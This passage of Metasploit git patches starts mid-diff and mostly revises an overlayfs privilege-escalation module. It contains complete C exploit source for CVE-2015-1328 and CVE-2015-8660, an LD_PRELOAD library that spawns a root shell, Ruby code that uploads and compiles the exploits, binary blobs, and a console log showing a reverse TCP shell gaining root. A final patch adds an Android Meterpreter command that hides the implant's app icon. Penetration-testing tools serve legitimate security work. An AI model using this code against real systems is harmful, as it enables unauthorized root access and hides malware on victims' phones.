15.04 (Kernels before 2015-06-15) - # Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 - # CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) - - cve_2015_1328 = %q{ - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - - #define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" - - static char child_stack[1024*1024]; - - static int - child_exec(void *stuff) - { - char *file; - system("rm -rf /tmp/ns_sploit"); - mkdir("/tmp/ns_sploit", 0777); - mkdir("/tmp/ns_sploit/work", 0777); - mkdir("/tmp/ns_sploit/upper",0777); - mkdir("/tmp/ns_sploit/o",0777); - - fprintf(stderr,"mount #1\n"); - if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { - // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower - if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { - fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); - exit(-1); - } - file = ".access"; - chmod("/tmp/ns_sploit/work/work",0777); - } else file = "ns_last_pid"; - - chdir("/tmp/ns_sploit/o"); - rename(file,"ld.so.preload"); - - chdir("/"); - umount("/tmp/ns_sploit/o"); - fprintf(stderr,"mount #2\n"); - if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { - if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { - exit(-1); - } - chmod("/tmp/ns_sploit/work/work",0777); - } - - chmod("/tmp/ns_sploit/o/ld.so.preload",0777); - umount("/tmp/ns_sploit/o"); - } - - int - main(int argc, char **argv) - { - int status, fd, lib; - pid_t wrapper, init; - int clone_flags = CLONE_NEWNS | SIGCHLD; - - fprintf(stderr,"spawning threads\n"); - - if((wrapper = fork()) == 0) { - if(unshare(CLONE_NEWUSER) != 0) - fprintf(stderr, "failed to create new user namespace\n"); - - if((init = fork()) == 0) { - pid_t pid = - clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); - if(pid < 0) { - fprintf(stderr, "failed to create new mount namespace\n"); - exit(-1); - } - - waitpid(pid, &status, 0); - - } - - waitpid(init, &status, 0); - return 0; - } - - usleep(300000); - - wait(NULL); - - fprintf(stderr,"child threads done\n"); - - fd = open("/etc/ld.so.preload",O_WRONLY); - - if(fd == -1) { - fprintf(stderr,"exploit failed\n"); - exit(-1); - } - - fprintf(stderr,"/etc/ld.so.preload created\n"); - fprintf(stderr,"creating shared library\n"); - lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); - write(lib,LIB,strlen(LIB)); - close(lib); - lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); - if(lib != 0) { - fprintf(stderr,"couldn't create dynamic library\n"); - exit(-1); - } - write(fd,"/tmp/ofs-lib.so\n",16); - close(fd); - system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); - execl("/bin/su","su",NULL); - } - } + path = ::File.join( Msf::Config.install_root, 'external', 'sources', 'exploits', 'CVE-2015-1328', '1328.c') + fd = ::File.open( path, "rb") + cve_2015_1328 = fd.read(fd.stat.size) # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size - # Exploit Title: overlayfs local root - # Date: 2016-01-05 - # Exploit Author: rebel - # Version: Ubuntu 14.04 LTS, 15.10 and more - # Tested on: Ubuntu 14.04 LTS, 15.10 - # CVE : CVE-2015-8660 - cve_2015_8660 = %q{ - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - #include - - static char child_stack[1024*1024]; - - static int - child_exec(void *stuff) - { - system("rm -rf /tmp/haxhax"); - mkdir("/tmp/haxhax", 0777); - mkdir("/tmp/haxhax/w", 0777); - mkdir("/tmp/haxhax/u",0777); - mkdir("/tmp/haxhax/o",0777); - - if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) { - fprintf(stderr,"mount failed..\n"); - } - - chmod("/tmp/haxhax/w/work",0777); - chdir("/tmp/haxhax/o"); - chmod("bash",04755); - chdir("/"); - umount("/tmp/haxhax/o"); - return 0; - } - - int - main(int argc, char **argv) - { - int status; - pid_t wrapper, init; - int clone_flags = CLONE_NEWNS | SIGCHLD; - struct stat s; - - if((wrapper = fork()) == 0) { - if(unshare(CLONE_NEWUSER) != 0) - fprintf(stderr, "failed to create new user namespace\n"); - - if((init = fork()) == 0) { - pid_t pid = - clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); - if(pid < 0) { - fprintf(stderr, "failed to create new mount namespace\n"); - exit(-1); - } - - waitpid(pid, &status, 0); - - } - - waitpid(init, &status, 0); - return 0; - } - - usleep(300000); - - wait(NULL); - - stat("/tmp/haxhax/u/bash",&s); - - if(s.st_mode == 0x89ed) - execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL); - - fprintf(stderr,"couldn't create suid :(\n"); - return -1; - } - } + path = ::File.join( Msf::Config.install_root, 'external', 'sources', 'exploits', 'CVE-2015-8660', '8660.c') + fd = ::File.open( path, "rb") + cve_2015_8660 = fd.read(fd.stat.size) filename = rand_text_alphanumeric(8) executable_path = "#{datastore['WritableDir']}/#{filename}" From 0d1fe20ae585f73b3c1f7e9f951bf737760644e7 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 15 Oct 2016 20:57:31 -0400 Subject: [PATCH 027/157] revamped --- data/exploits/CVE-2015-1328/1328 | Bin 13655 -> 13655 bytes data/exploits/CVE-2015-1328/ofs-lib.so | Bin 0 -> 7752 bytes .../exploit/linux/local/overlayfs_priv_esc.md | 51 ++++++------- external/source/exploits/CVE-2015-1328/1328.c | 3 +- .../source/exploits/CVE-2015-1328/ofs-lib.c | 16 +++++ .../linux/local/overlayfs_priv_esc.rb | 67 +++++++++++++----- 6 files changed, 95 insertions(+), 42 deletions(-) create mode 100644 data/exploits/CVE-2015-1328/ofs-lib.so create mode 100644 external/source/exploits/CVE-2015-1328/ofs-lib.c diff --git a/data/exploits/CVE-2015-1328/1328 b/data/exploits/CVE-2015-1328/1328 index 872f097cf2fcf7fc58fc9cd2921a07b2edaf2d81..dcb7ed42b17f5e05a7a71e5d373f3918f7aefd94 100644 GIT binary patch delta 1235 zcmZuxdq`7J96r1AG1qqY&}mxEC2pAM)(efwaOCP1_P`e_2*tuodKhR$`G{uH5Xm@1 zA{1m167`2&f;Dhc{KJeW2_K~YSP+IopbNqWbI^a z=cv3f9)+&P_*+vRZMIfq+1i2-$kyV=lBtA>s};@1Hh*|feqp;}q4(~1hVkeU-^FCb z%0}4�?Kt;#YAq`2r9jb%_uUks#z42feTwcCgdxaz!L7cK{aGMTuODp9B$B#C{1)ks=LfUjP+j zr2!flD&w5ETEUuq8pI$-S(zZF)I?II(Pbkb7W^*&HrnV5HT;ey zKWeCLxB2i_MQT*Q(G_wV@#MOJipsN4bJ~KArXXp^q^BG&=2wA@sC}xzAC)G1KXo_+ z>ULYut)|`gP=QBwWg%1p)Cb5rM|F1qg)(_`@N#?gFo?I)gTcs9wON(cN`s>6PCUmZ ztnE@6P#M>eL+6sB^`ACPbAyXg&f${@w|RqVpA_Fu*m>Zz{ru(fx+4dXrT$EvCBh_Y zq&v2OR}B0zei1^QTjvQWh53AdkS8$bL7>+#Z-vA2!Td0YvvejVa~>D#%uLr$d<|It zJbtXxryu`K$PfC0Sy^=(vs)P>^+^=5GE@j9>Rs>$&+7I>*T7a7-kSI}mOq?0#$dI+ zfEi=?Vtrz)BpshJTI6H!P10+O#XZJc?aVTrVMA3^B*n8vvwX$ppKi*P*DU`V)M)uC zQ*+e*u!*=v9HmHw!fyZ8)hKNDZ(W1HFKdH|VJ^kv;+#j!D2o?zCLl0=XP!t7n?)_J kYGDx4A|O(ZtA3lor>Poy%+B?VAbn7Y-@kBme*a delta 1971 zcmZuyeM}o=7(Wge-3b)R$JpG*Yn6H}^n*VMhjC`cY|RqZn0B}Xm@#IWIN}zK@$+;T$?TLN?0nw4wwA;K=LhBoCT}n;)s!|`s^7SkFr_MWFIDN*j8rB5An#UX-IJf3zx>#Tb-M~1 z_kCL*IlObn4^y$Tw5`a{Wpq>C+37|6>H6=QhQU#`JW$nynnzK|*NFS}YQ}wwxUXm3 zi^M&db!YG|%$AmU56CH36J}@Erq5+yysDdMKL+bi%WgcmN@9bXJK% zAX!`vDRl)b4RjeS??ho~6#~d~d_5di0=7&gO9^ghH9~e!1NQ&!;C-lu9qehI@@65q zI{=DPI)u^XZvY87vgaVFyOX5d6>xP~+rYYht=${Ny~U*trJSNEP}x>pLttY3Y3I9%dtsx|?~C5Y-LX9HJ9 z`XCndERBsWsbQ9!a)qwn2sApj$%MZzu|(Pk!!v*e(40vJ)nq{;$u>YXP9Auo84}4? zvQ3m_(qv`Avl2f?(q|z954#z{5CdxntfU)$2TF$y9UEPtLPSqTx|N8sy-pI`45?6I zC>J!ArFarV~0z0<4t-mwLPQW%>oZOxBxL7_V&`udRE-yIZqB#Ax2?%)VR zIYWa1r@vRWL&U*plrTLi`Zy`f3usT+C(0q-(Z82r!Xn=pVr`v3C3W@*A@Hq;ec2Do zZiWM16zC51ztFI~v14}{&FC;TqM?}MOl~o1LTsATs?%5zFUcc=tmYw`71Yjy^Le$FWiQm<1O7R>dC)dWC^g@~v}paKfSUKXl_a75%;D{5*&E@ZKw zN90hD8w{{I((LRJeNH)Swp!6~ChSW$5JH?&;vKTz5eN#BzncdE*<|ja$$lbD7D7Qm zhV8JfdPF|iSRce9{{=xVCke0vt!qC>H_O^=7r{Q%e(<0^L;Wa&U%016~tLiQnzf%AtY-uHM2X?H|G{D`l6P~4vMX)`w1pQ=i()xH(B=GgQ6MomTWF9J5BE|S(iVZS6pPEHbaPq@0))C zIh~u2&?MgiA=1=vADb(lDs({)I`&eouyYetLM`HHXCFOI$80VOZ8-MC P0qO8ia5(n-c9s4Yv1`|g diff --git a/data/exploits/CVE-2015-1328/ofs-lib.so b/data/exploits/CVE-2015-1328/ofs-lib.so new file mode 100644 index 0000000000000000000000000000000000000000..70755e998be1355e1428d08512d510deefd4a77b GIT binary patch literal 7752 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 literal 0 HcmV?d00001 diff --git a/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md index f8fb582497..d069bd7eef 100644 --- a/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md +++ b/documentation/modules/exploit/linux/local/overlayfs_priv_esc.md @@ -129,18 +129,18 @@ Untested against #### Escalate - resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc - resource (/root/Text-1.txt)> set verbose true + resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc + resource (overlay.rc)> set verbose true verbose => true - resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp + resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp payload => linux/x86/shell/reverse_tcp - resource (/root/Text-1.txt)> set session 1 - session => 1 - resource (/root/Text-1.txt)> set target 0 + resource (overlay.rc)> set target 0 target => 0 - resource (/root/Text-1.txt)> set lhost 192.168.2.117 + resource (overlay.rc)> set session 1 + session => 1 + resource (overlay.rc)> set lhost 192.168.2.117 lhost => 192.168.2.117 - resource (/root/Text-1.txt)> exploit + resource (overlay.rc)> exploit [*] Started reverse TCP handler on 192.168.2.117:4444 [*] Checking if mount points exist [+] /tmp/ns_sploit not created @@ -150,31 +150,32 @@ Untested against [*] Checking if mount points exist [+] /tmp/ns_sploit not created [+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328 - [*] Writing to /tmp/k4JlQwrx.c (4375 bytes) + [*] Writing to /tmp/JmK51Dpa.c (3714 bytes) [*] Max line length is 65537 - [*] Writing 4375 bytes in 1 chunks of 15306 bytes (octal-encoded), using printf - [*] Compiling /tmp/k4JlQwrx.c - [*] Writing to /tmp/cjKriIIN (155 bytes) + [*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf + [*] Writing to /tmp/ofs-lib.c (439 bytes) + [*] Max line length is 65537 + [*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf + [*] Compiling /tmp/JmK51Dpa.c + [*] Writing to /tmp/R6TrMF7f (155 bytes) [*] Max line length is 65537 [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf [*] Exploiting... [*] Sending stage (36 bytes) to 192.168.2.156 - [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:57869) at 2016-10-04 22:55:04 -0400 - [+] Deleted /tmp/k4JlQwrx.c - [+] Deleted /tmp/cjKriIIN + [*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400 + [!] Tried to delete /tmp/ofs-lib.c, unknown result + [+] Deleted /tmp/JmK51Dpa - 3437009797 - lGTsPkjgaOAhZPAssSiPBdigTNuavPNA + 2356964145 + psMfOJcKGKnafhAvALIeSFNegauafmux + RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH + KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP true - zQgQeZUDzBZvCUelOYXjpIviozSnTjoE - ZaGCLiKvvhyTawBwPHNqidQSerdmxDYE - WjOaBQVXdxHBiVdomUBMRRrnLOPUGfGD - true - DgSZZHBIFrsBMvyRTBNSBTcRmVMZXMyx - bwHnnuHwZAvSsZoYLhNrcuRDIKuqPRWu - NfNIsINldyrgOLLagCPIQiQsZqTsmUec + ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ + dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR + UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF sh: 0: can't access tty; job control turned off - # whoami + # # # whoami root # uname -a Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux diff --git a/external/source/exploits/CVE-2015-1328/1328.c b/external/source/exploits/CVE-2015-1328/1328.c index ac73c06ed4..965900ee17 100644 --- a/external/source/exploits/CVE-2015-1328/1328.c +++ b/external/source/exploits/CVE-2015-1328/1328.c @@ -95,6 +95,7 @@ main(int argc, char **argv) } fprintf(stderr,"/etc/ld.so.preload created\n"); + /* fprintf(stderr,"creating shared library\n"); lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); write(lib,LIB,strlen(LIB)); @@ -103,7 +104,7 @@ main(int argc, char **argv) if(lib != 0) { fprintf(stderr,"couldn't create dynamic library\n"); exit(-1); - } + }*/ write(fd,"/tmp/ofs-lib.so\n",16); close(fd); system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); diff --git a/external/source/exploits/CVE-2015-1328/ofs-lib.c b/external/source/exploits/CVE-2015-1328/ofs-lib.c new file mode 100644 index 0000000000..0f96c54371 --- /dev/null +++ b/external/source/exploits/CVE-2015-1328/ofs-lib.c @@ -0,0 +1,16 @@ +#include + +uid_t(*_real_getuid) (void); +char path[128]; + +uid_t getuid(void){ + _real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid"); + readlink("/proc/self/exe", (char *) &path, 128); + if(geteuid() == 0 && !strcmp(path, "/bin/su")) { + unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so"); + setresuid(0, 0, 0); + setresgid(0, 0, 0); + execle("/bin/sh", "sh", "-i", NULL, NULL); + } + return _real_getuid(); +} diff --git a/modules/exploits/linux/local/overlayfs_priv_esc.rb b/modules/exploits/linux/local/overlayfs_priv_esc.rb index 50aec4c029..ec09f3842a 100644 --- a/modules/exploits/linux/local/overlayfs_priv_esc.rb +++ b/modules/exploits/linux/local/overlayfs_priv_esc.rb @@ -161,17 +161,6 @@ class MetasploitModule < Msf::Exploit::Local fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end - - # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size - path = ::File.join( Msf::Config.install_root, 'external', 'sources', 'exploits', 'CVE-2015-1328', '1328.c') - fd = ::File.open( path, "rb") - cve_2015_1328 = fd.read(fd.stat.size) - - # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size - path = ::File.join( Msf::Config.install_root, 'external', 'sources', 'exploits', 'CVE-2015-8660', '8660.c') - fd = ::File.open( path, "rb") - cve_2015_8660 = fd.read(fd.stat.size) - filename = rand_text_alphanumeric(8) executable_path = "#{datastore['WritableDir']}/#{filename}" payloadname = rand_text_alphanumeric(8) @@ -200,33 +189,70 @@ class MetasploitModule < Msf::Exploit::Local fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!') end - def upload_and_chmod(fname,fcontent) + def upload_and_chmod(fname, fcontent, cleanup=true) print_status "Writing to #{fname} (#{fcontent.size} bytes)" rm_f fname write_file(fname, fcontent) cmd_exec("chmod +x #{fname}") - #register_file_for_cleanup(fname) + if cleanup + register_file_for_cleanup(fname) + end end def on_new_session(session) super if target.name == 'CVE-2015-1328' session.shell_command("/bin/su") #this doesnt work on meterpreter????? + # we cleanup here instead of earlier since we needed the /bin/su in our new session + session.shell_command('rm -f /etc/ld.so.preload') + session.shell_command('rm -f /tmp/ofs-lib.so') end end + if compile + begin + if target.name == 'CVE-2015-1328' + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary. + path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c') + fd = ::File.open( path, "rb") + cve_2015_1328 = fd.read(fd.stat.size) + fd.close + + # pulled out from 1328.c's LIB define + path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c') + fd = ::File.open( path, "rb") + ofs_lib = fd.read(fd.stat.size) + fd.close + else + # direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size + path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c') + fd = ::File.open( path, "rb") + cve_2015_8660 = fd.read(fd.stat.size) + fd.close + end + rescue + compile = false #hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries + end + end + + if compile if target.name == 'CVE-2015-1328' cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/, "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);") upload_and_chmod("#{executable_path}.c", cve_2015_1328) + ofs_path = "#{datastore['WritableDir']}/ofs-lib" + upload_and_chmod("#{ofs_path}.c", ofs_lib) + cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file + register_file_for_cleanup("#{ofs_path}.c") else cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/, "os.execl('#{payload_path}','#{payloadname}')") upload_and_chmod("#{executable_path}.c", cve_2015_8660) end vprint_status("Compiling #{executable_path}.c") - cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile + cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile register_file_for_cleanup(executable_path) else if target.name == 'CVE-2015-1328' @@ -235,9 +261,18 @@ class MetasploitModule < Msf::Exploit::Local cve_2015_1328 = fd.read(fd.stat.size) fd.close upload_and_chmod(executable_path, cve_2015_1328) + + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so') + fd = ::File.open( path, "rb") + ofs_lib = fd.read(fd.stat.size) + fd.close + ofs_path = "#{datastore['WritableDir']}/ofs-lib" + # dont auto cleanup or else it happens too quickly and we never escalate ourprivs + upload_and_chmod("#{ofs_path}.so", ofs_lib, false) + # overwrite with the hardcoded variable names in the compiled versions - payload_filename = 'cjKriIIN' - payload_path = '/tmp/cjKriIIN' + payload_filename = 'lXqzVpYN' + payload_path = '/tmp/lXqzVpYN' else path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660') fd = ::File.open( path, "rb") From 67d07a715c7317f08b75ca2229014c54c9f05e8a Mon Sep 17 00:00:00 2001 From: Tim Date: Mon, 17 Oct 2016 14:03:09 +0800 Subject: [PATCH 028/157] add android_hide_app_icon --- .../meterpreter/extensions/android/android.rb | 6 +++++ .../meterpreter/extensions/android/tlv.rb | 2 ++ .../ui/console/command_dispatcher/android.rb | 23 +++++++++++++++++++ 3 files changed, 31 insertions(+) diff --git a/lib/rex/post/meterpreter/extensions/android/android.rb b/lib/rex/post/meterpreter/extensions/android/android.rb index c0669e1d65..af80e8645d 100644 --- a/lib/rex/post/meterpreter/extensions/android/android.rb +++ b/lib/rex/post/meterpreter/extensions/android/android.rb @@ -248,6 +248,12 @@ class Android < Extension response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value end + def hide_app_icon + request = Packet.create_request('android_hide_app_icon') + response = client.send_request(request) + response.get_tlv_value(TLV_TYPE_ICON_NAME) + end + def activity_start(uri) request = Packet.create_request('android_activity_start') request.add_tlv(TLV_TYPE_URI_STRING, uri) diff --git a/lib/rex/post/meterpreter/extensions/android/tlv.rb b/lib/rex/post/meterpreter/extensions/android/tlv.rb index 15d047810b..742a7b7d37 100644 --- a/lib/rex/post/meterpreter/extensions/android/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/android/tlv.rb @@ -81,6 +81,8 @@ TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102) TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103) +TLV_TYPE_ICON_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9104) + TLV_TYPE_SQLITE_RESULT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9080) TLV_TYPE_SQLITE_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9081) TLV_TYPE_SQLITE_QUERY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9082) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb index cc9001aa34..2f0e682330 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb @@ -31,6 +31,7 @@ class Console::CommandDispatcher::Android 'wlan_geolocate' => 'Get current lat-long using WLAN information', 'interval_collect' => 'Manage interval collection capabilities', 'activity_start' => 'Start an Android activity from a Uri string', + 'hide_app_icon' => 'Hide the app icon from the launcher', 'sqlite_query' => 'Query a SQLite database from storage', 'set_audio_mode' => 'Set Ringer Mode' } @@ -46,6 +47,7 @@ class Console::CommandDispatcher::Android 'wlan_geolocate' => ['android_wlan_geolocate'], 'interval_collect' => ['android_interval_collect'], 'activity_start' => ['android_activity_start'], + 'hide_app_icon' => ['android_hide_app_icon'], 'sqlite_query' => ['android_sqlite_query'], 'set_audio_mode' => ['android_set_audio_mode'] } @@ -580,6 +582,27 @@ class Console::CommandDispatcher::Android end end + def cmd_hide_app_icon(*args) + hide_app_icon_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help Banner' ] + ) + + hide_app_icon_opts.parse(args) do |opt, _idx, _val| + case opt + when '-h' + print_line('Usage: hide_app_icon [options]') + print_line('Hide the application icon from the launcher.') + print_line(hide_app_icon_opts.usage) + return + end + end + + result = client.android.hide_app_icon + if result + print_status("Activity #{result} was hidden") + end + end + def cmd_sqlite_query(*args) 